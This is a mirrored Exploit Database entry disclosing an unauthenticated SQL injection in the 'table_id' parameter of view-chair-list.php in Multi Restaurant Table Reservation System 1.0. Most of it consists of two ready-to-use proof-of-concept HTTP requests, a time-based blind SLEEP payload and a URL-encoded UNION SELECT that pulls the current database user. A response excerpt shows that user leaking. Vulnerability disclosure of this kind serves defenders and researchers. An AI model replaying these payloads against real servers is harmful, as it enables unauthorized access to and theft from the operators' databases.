Multi Restaurant Table Reservation System 1.0 – ‘table_id’ Unauthenticated SQL Injection

• Exploit Database
• 114 阅读

• 作者： yunaranyancat
  日期： 2020-11-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48984/
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  # Title: Multi Restaurant Table Reservation System 1.0 - &apos;table_id&apos; Unauthenticated SQL Injection # Exploit Author: yunaranyancat # Date: 02-11-2020 # Vendor Homepage: www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip # Version: 1.0 # Tested On: Ubuntu 18.04 + XAMPP   # Description   The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.   # POC N°1 = Time based blind SQLi   GET /TableReservation/dashboard/view-chair-list.php?table_id=&apos;+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1 Host: [TARGET IP/URL] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0   ### Server will sleep for 10 seconds before returning the response   # POC N° 2 = UNION based SQLi   ### Request (getting current user)   GET /TableReservation/dashboard/view-chair-list.php?table_id=%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176787071%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x71716b7071%29%2CNULL%2CNULL--%20- HTTP/1.1 Host: [TARGET IP/URL] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 2   ### Response   ... <td class="center hidden-phone"> <a href="https://www.exploit-db.com/exploits/48984/delete-chair.php?chair_id=[REDACTED]root@localhost[REDACTED] class="btn btn-danger"onclick="if (!Done()) return false; ">Delete Chair</a> ...